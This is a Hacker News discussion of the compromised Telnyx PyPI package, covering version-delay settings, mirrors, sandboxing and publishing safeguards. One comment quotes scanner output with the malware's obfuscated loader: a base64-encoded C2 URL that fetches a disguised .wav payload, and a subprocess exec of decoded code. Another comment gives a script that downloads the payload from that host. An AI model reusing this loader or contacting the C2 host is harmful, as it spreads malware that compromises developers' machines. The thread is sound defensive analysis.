Top
Best
New

Posted by ramimac 23 hours ago

Telnyx package compromised on PyPI(telnyx.com)
https://github.com/team-telnyx/telnyx-python/issues/235

https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-...

98 points | 101 comments
mil22 12 hours ago|
For those using uv, you can at least partially protect yourself against such attacks by adding this to your pyproject.toml:

  [tool.uv]
  exclude-newer = "7 days"
or this to your ~/.config/uv/uv.toml:

  exclude-newer = "7 days"
This will prevent uv picking up any package version released within the last 7 days, hopefully allowing enough time for the community to detect any malware and yank the package version before you install it.
notatallshaw 12 hours ago||
Pip maintainer here, to do this in pip (26.0+) now you have to manually calculate the date, e.g. --uploaded-prior-to="$(date -u -d '3 days ago' '+%Y-%m-%dT%H:%M:%SZ')"

In pip 26.1 (release scheduled for April 2026), it will support the day ISO-8601 duration format, which uv also supports, so you will be able to do --uploaded-prior-to=P3D, or via env vars or config files, as all pip options can be set in either.

VladVladikoff 8 hours ago|||
Thanks!
lijok 8 hours ago|||
[flagged]
jmward01 12 hours ago|||
I am a slow adopter of uv. I'll be honest, its speed has never been a big deal to me and, in general, it is YAPT (yet another package tool), but this one feature may make me reconsider. Pinning versions is less than perfect but I would really like to be able to stay XXX days behind exactly for this reason.

I think the python community, and really all package managers, need to promote standard cache servers as first class citizens as a broader solution to supply chain issues. What I want is a server that presents pypi with safeguards I choose. For instance, add packages to the local index that are no less than xxx days old (this uv feature), but also freeze that unless an update is requested or required by a security concern, scan security blacklists to remove/block packages and versions that have been found to have issues. Update the cache to allow a specific version bump. That kind of thing. Basically, I have several projects and I just want to do a pip install but against my own curated pypi. I know this is the intent of virtual envs/lock files, etc, but coordinating across projects and having my own server to grab from when builds happen (guaranteeing builds won't fail) is import. At a minimum it would be good to have a 'curated.json' or something similar that I could point pip/other package managers to to enforce package policies across projects. These supply chain attacks show that all it takes is a single update and your are in big trouble so we, unfortunately, need more layers of defense.

zahlman 10 hours ago||
> I think the python community, and really all package managers, need to promote standard cache servers as first class citizens as a broader solution to supply chain issues. What I want is a server that presents pypi with safeguards I choose. For instance, add packages to the local index that are no less than xxx days old (this uv feature), but also freeze that unless an update is requested or required by a security concern, scan security blacklists to remove/block packages and versions that have been found to have issues. Update the cache to allow a specific version bump. That kind of thing.

FWIW, https://pypi.org/project/bandersnatch/ is the standard tool for setting up a PyPI mirror, and https://github.com/pypi/warehouse is the codebase for PyPI itself (including the actual website, account management etc.).

If "my own curated pypi" extends as far as a whitelist of build artifacts, you can just make a local "wheelhouse" directory of those, and pass `--no-index` and `--find-links /path/to/wheelhouse` in your `pip install` commands (I'm sure uv has something analogous).

vrighter 4 hours ago|||
if everyone waited a week, then everyb would still be installing it it the same time for the first time. This is not a solution.
TheTaytay 3 hours ago||
A lot of automated scanners run during that week.
janzer 6 hours ago|||
EDIT: This was caused by using an old version uv (0.7.3) updating with `uv self update` to the latest version (0.11.2) resolved it. Original message below:

While the first form seems to work with `pyproject.toml`, it seems like the second form in the global `uv.toml` only accepts actual dates and not relative times. Trying to put a relative time (either in the form "7 days" or "P7D") results in a failed to parse error.

ashishb 7 hours ago|||
Rather than being hopeful why not start running 'uv' inside sandbox?

Why does your python package (cli/Web server/library) need full access to your full disk at the time of execution?

dist-epoch 6 hours ago|||
You're doing all of your software development inside containers, all the time?

That is very inconvenient.

TheTaytay 3 hours ago||
Devcontainers are looking pretty gold right now…
cestivan 53 minutes ago|||
[dead]
__mharrison__ 12 hours ago|||
Love it! Let those pip users find the compromised packages for us uv users.
bombcar 11 hours ago||
Until everyone waits 7 days to install everything so the compromise is discovered on the 8th day.

End result will be everyone runs COBOL only.

gonzalohm 11 hours ago|||
Or just scan all GitHub repos, find their .toml definition. Calculate the median and then add 7 days to that. That way you are always behind.
zar1048576 11 hours ago||||
:-) That might not even be enough as I hear (but haven't verified) that Claude does a pretty good job of making sense out of legacy COBOL code!
dist-epoch 6 hours ago||||
I'm already ahead of you. I'm using `exclude-newer = "8 days"`
TacticalCoder 8 hours ago||||
But not all project exploited in a supply chain attack get exploited on the same day.

So when project A gets pwned on day 1 and then, following the attack, project B gets pwned on day 3, if users wait 7 days to upgrade, then that leaves two days for the maintainers of project B to fix the mess: everybody shall have noticed on the 8th day that package A was exploited and that leaves time for project B (and the other projects depending on either A or B) to adapt / fix the mess.

As a sidenote during the first 7 days it could also happen that maintainers of project A notices the shenanigans.

anthk 10 hours ago|||
Or Forth with scientific library, bound to the constraints. Put some HTTP library on top and some easy HTML interface from a browser with no JS/CSS3 support at all. It will look rusty but unexploitable.

Enterprise computing with custom software will make a comeback to avoid these pitfalls. I depise OpenJDK/Mono because of patents but at least they come with complete defaults and a 'normal' install it's more than enough to ship a workable application for almost every OS. Ah, well, smartphones. Serious work is never done with these tools, even with high end tables. Maybe commercials/salespeople and that's it.

It's either that... or promoting reproducible environment with Guix everywhere. Your own Guix container, isolated, importing Pip/CPAN/CTAN/NPM/OPAM and who knows else into a manifest file and ready to ship anywhere, either as a Guix package, a Docker container (Guix can do that), a single DEB/RPM, an AppImage ready to launch on any modern GNU/Linux with a desktop and a lot more.

dotancohen 5 hours ago||

  > Or Forth with scientific library, bound to the constraints. Put some HTTP library on top and some easy HTML interface from a browser with no JS/CSS3 support at all. It will look rusty but unexploitable.
Let this be a lesson to you youngsters that nothing in unexploitable.

Forth has no standard library for interfacing with SQLite or any other database. You're either using 8th or the C ABI. Therefore, you'll most likely be concatenating SQL queries. Are you disciplined enough to make that properly secure? Do you know all the intricacies?

madushan1000 9 hours ago|||
I really wish uv had some sandboxing built in.
woodruffw 9 hours ago||
Please open an issue on the uv tracker! This is a design space we’re actively thinking about, and it’s valuable to hear user perspectives on what they would and wouldn’t want a sandbox to do.
mulmen 7 hours ago|||
Does this also delay delivery of security fixes? Is there an override mechanism for a log4j type event?
dist-epoch 6 hours ago||
It delays everything. You can manually override some packages, but the community can't push through it.
what 8 hours ago|||
Is “7 days” valid? Docs suggest it has to be an iso 8601 period or a rfc 3339 timestamp.
mil22 7 hours ago||
https://docs.astral.sh/uv/reference/settings/#exclude-newer

"Accepts RFC 3339 timestamps (e.g., 2006-12-02T02:07:43Z), a \"friendly\" duration (e.g., 24 hours, 1 week, 30 days), or an ISO 8601 duration (e.g., PT24H, P7D, P30D)."

TZubiri 12 hours ago||
Nice feature. However uv is suspect at the moment, in the sense that it is designed as a pip replacement to overcome issues that only exist when supply chains are of a size that isn't safe to have.

So any project that has UV and any developer that tries to get uv into a project is on average less safe than a project that just uses pip and a requirements.txt

sdoering 12 hours ago|||
Sorry - call me uninformed. But I do not really understand how choosing uv makes me less safe than using pip.

Care to explain? Would love to learn.

jcass8695 12 hours ago||
It is a bit of a leap. They are saying that if you are using uv, then you likely have a broad set of dependencies because you require a dependency management tool, therefore you are more susceptible to a supply chain attack by virtue of having a wider attack surface.
sdoering 9 hours ago||
Ahhhhhh thanks a ton. Now I get it. Meaning I get what you are saying. Not what they were implying. But yeah. I can understand at least how one could arrive at that idea.

To me personally this idea still sounds a bit off - but as a heuristic it might have some merit in certain circumstances.

Imustaskforhelp 12 hours ago||||
I really am not able to follow this line of reasoning, I am not sure if what you said makes sense and how it relates to uv having a security feature to be on average less safe :/
thewebguyd 12 hours ago||
I believe they are saying that by the time you need something like uv, your project already has too many dependencies. Its the unnecessarily large supply chain that's the problem, and uv exists to solve a problem that you should try to avoid in the first place.

I think uv is great, but I somewhat agree. We see this issue with node/npm. We need smaller supply chains/less dependencies overall, not just bandaiding over the poor decisions with better dependency management tooling.

catgary 11 hours ago|||
This line of thought is honestly a bit silly - uv is just a package manager that actually does its job for resolving dependencies. You’re talking about a completely orthogonal problem.
zahlman 10 hours ago||
> uv is just a package manager that actually does its job for resolving dependencies.

Pip resolves dependencies just fine. It just also lets you try to build the environment incrementally (which is actually useful, especially for people who aren't "developers" on a "project"), and is slow (for a lot of reasons).

Imustaskforhelp 11 hours ago|||
Ah this simplifies what they were saying.

I agree with it that dependency management should be made easier. To be honest, I really like how golang's dependency and how golang's community works around dependencies and how golang has a really great stdlib to work with and how the community really likes to rely on very little depenendencies for the most part as well.

Maybe second to that, Zig is interesting as although I see people using libraries, its on a much lower level compared to rust/node/python.

Sadly, rust suffers from the same dependency issue like node/python.

joshred 12 hours ago||||
This is complete nonsense. pip has all the same problems that you say uv has.
cozzyd 7 hours ago||
The (not very convincing, IMO) argument is that pip becomes unergonikix for a certain dependency tree size leading people to use uv instead. Of course that's not the only or main reason people use uv, presumably.
paulddraper 12 hours ago|||
Huh?

Wanting a better pip means I am unsafe?

f311a 13 hours ago||
They did not even try to hide the payload that much.

Every basic checker used by many security companies screams at `exec(base64.b64decode` when grepping code using simple regexes.

  hexora audit 4.87.1/2026-03-27-telnyx-v4.87.1.zip  --min-confidence high  --exclude HX4000

  warning[HX9000]: Potential data exfiltration with Decoded data via urllib.request.request.Request.
       ┌─ 2026-03-27-telnyx-v4.87.1.zip:tmp/tmp_79rk5jd/telnyx/telnyx/_client.py:77
  86:13
       │
  7783 │         except:
  7784 │             pass
  7785 │
  7786 │         r = urllib.request.Request(_d('aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg=='), headers={_d('VXNlci1BZ2VudA=='): _d('TW96aWxsYS81LjA=')})
       │             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX9000
  7787 │         with urllib.request.urlopen(r, timeout=15) as d:
  7788 │             with open(t, "wb") as f:
  7789 │                 f.write(d.read())
       │
       = Confidence: High
         Help: Data exfiltration is the unauthorized transfer of data from a computer.


  warning[HX4010]: Execution of obfuscated code.
       ┌─ 2026-03-27-telnyx-v4.87.1.zip:tmp/tmp_79rk5jd/telnyx/telnyx/_client.py:78
  10:9
       │
  7807 │       if os.name == 'nt':
  7808 │           return
  7809 │       try:
  7810 │ ╭         subprocess.Popen(
  7811 │ │             [sys.executable, "-c", f"import base64; exec(base64.b64decode('{_p}').decode())"],
  7812 │ │             stdout=subprocess.DEVNULL,
  7813 │ │             stderr=subprocess.DEVNULL,
  7814 │ │             start_new_session=True
  7815 │ │         )
       │ ╰─────────^ HX4010
  7816 │       except:
  7817 │           pass
  7818 │
       │
       = Confidence: VeryHigh
         Help: Obfuscated code exec can be used to bypass detection.
m000 12 hours ago|
Are there more tools like hexora?
f311a 12 hours ago||
GuardDog, but it's based on regexes
jbrowning 13 hours ago||
> The payload isn't delivered as a raw binary or a Python file. It's disguised as a .wav audio file.

> The WAV file is a valid audio file. It passes MIME-type checks. But the audio frame data contains a base64-encoded payload. Decode the frames, take the first 8 bytes as the XOR key, XOR the rest, and you have your executable or Python script.

Talk about burying the lede.

consp 11 hours ago||
I've seen it at least once in code from a big car manufacturer who encrypted their software or parts of it to avoid you reading the xml files. They use a key, split into two or more parts, hidden as the first bytes of some file or as plain text somewhere it would not be out of order, then recombine, run through an deobfuscation function to be an old fashioned DES or XOR key to decrypt the (usually XML, could have been a different key format it's been a while) files. It's not that uncommon. It's also security theater. Funny part is they didn't obfuscate the code to read the key.
dist-epoch 6 hours ago||
With homomorphic encryption you can do this now in a secure way - unbreakable client side obfuscation.
ac29 10 hours ago||
I was really hoping the audio file was going to be AFSK or someting
zahlman 9 hours ago||
> If the version shown is 4.87.1 or 4.87.2, treat the environment as compromised.

More generally speaking one would have to treat the computer/container/VM as compromised. User-level malware still sucks. We've seen just the other day that Python code can run at startup time with .pth files (and probably many other ways). With a source distribution, it can run at install time, too (see e.g. https://zahlman.github.io/posts/python-packaging-3/).

> What to Do If Affected

> Downgrade immediately:

> pip install telnyx==4.87.0

Even if only the "environment" were compromised, that includes pip in the standard workflow. You can use an external copy of pip instead, via the `--python` option (and also avoid duplicating pip in each venv, wasting 10-15MB each time, by passing `--without-pip` at creation). I touch on both of these in https://zahlman.github.io/posts/python-packaging-2/ (specifically, showing how to do it with Pipx's vendored copy of pip). Note that `--python` is a hack that re-launches pip using the target environment; pip won't try to import things from that environment, but you'd still be exposed to .pth file risks.

dist-epoch 6 hours ago|
Nice thing about VMs is that it's easy to have a daily snapshot, and roll it back to before compromise event.
ramimac 23 hours ago||
We haven't blogged this yet, but a variety of teams found this in parallel.

The packages are quarantined by PyPi

Follow the overall incident: https://ramimac.me/teampcp/#phase-10

Aikido/Charlie with a very quick blog: https://www.aikido.dev/blog/telnyx-pypi-compromised-teampcp-...

ReversingLabs, JFrog also made parallel reports

Scaevolus 11 hours ago||
I'm glad there's many teams with automated scans of pypi and npm running. It elevates the challenge of making a backdoor that can survive for any length of time.
Imustaskforhelp 20 hours ago||
Ramimac, has there been any action on having the c2 server's ip address being blacklisted?

The blast radius of TeamPCP just keeps on increasing...

_ache_ 8 hours ago||
How can we get the wav ? `curl -A "Mozilla/5.0" "http://<C2C_EndPoint>/hangup.wav"` does hang.

No ... I tried hard. But still get a timeout.

    import urllib.request
    import base64

    def _d(x):
        return base64.b64decode(x).decode("utf-8")


    C2C_URL = _d("aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg==")
    # C2C_URL = "http://XXXXX:8080/ringtone.wav"

    r = urllib.request.Request(
        C2C_URL, headers={_d("VXNlci1BZ2VudA=="): _d("TW96aWxsYS81LjA=")}
    )
    with urllib.request.urlopen(r, timeout=15) as d:
        with open("/tmp/exatracted_tpcp.wav", "wb") as f:
            f.write(d.read())
6thbit 11 hours ago||
So both this and litellm went straight to PyPI without going to GitHub first.

Is there any way to setup PyPI to only publish packages that come from a certain pattern of tag that exists in GH? Would such a measure help at all here?

woodruffw 9 hours ago||
Yes: if you use a Trusted Publisher with PyPI, you can constrain it to an environment. Then, on GitHub, you can configure that environment with a tag or branch protection rule that only allows the environment to be activated if the ref matches. You can also configure required approvers on the environment, to prevent anyone except your account (and potentially other maintainers you’d like) from activating the environment.
aniceperson 10 hours ago||
Don't have the token on your hands. Use OICD ideally, or make sure to setup carefully as a repository secret. Ensure the workflow runs in a well permission read, minimal dependency environment. The issue with OICD is that it does not work with nested workflows because github does not propagate the claims.
viscousviolin 13 hours ago||
Is there a notification channel you can subscribe to / look at if you want to stay up to date on compromised PyPI packages?
woodruffw 12 hours ago||
You can use the PYSEC[1] or OSV[2] databases.

[1]: https://github.com/pypa/advisory-database/blob/main/vulns/te...

[2]: https://osv.dev/vulnerability/MAL-2026-2254

viscousviolin 12 hours ago||
Thank you!
dmitrygr 11 hours ago||
Yes. news.ycomhinator.com
ilaksh 13 hours ago||
The way I use Telynx is via SIP which is an open protocol. No reason we should be relying on proprietary APIs for this stuff.

On GitHub see my fork runvnc/PySIP. Please let me know if you know if something better for python that is not copy left or rely on some copy left or big external dependency. I was using baresip but it was a pain to integrate and configure with python.

Anyway, after fixing a lot in the original PySIP my version works with Telynx. Not tested on other SIP providers.

deathanatos 11 hours ago|
> The Telnyx platform, APIs, and infrastructure were not compromised. This incident was limited to the PyPI distribution channel for the Python SDK.

Am I being too nitpicky to say that that is part of your infrastructure?

Doesn't 2FA stop this attack in its tracks? PyPI supports 2FA, no?

cpburns2009 7 hours ago||
PyPI only supports 2FA for sign-in. 2FA is not a factor at all with publishing. To top it off, the PyPA's recommended solution, the half-assed trusted publishing, does nothing to prevent publishing compromised repos either.
rtpg 8 hours ago||
Yeah at this point I’d really like for pypi to insist on 2FA and email workflows for approving a release.

Yeah it means you don’t get zero click releases. Maybe boto gets special treatment

More comments...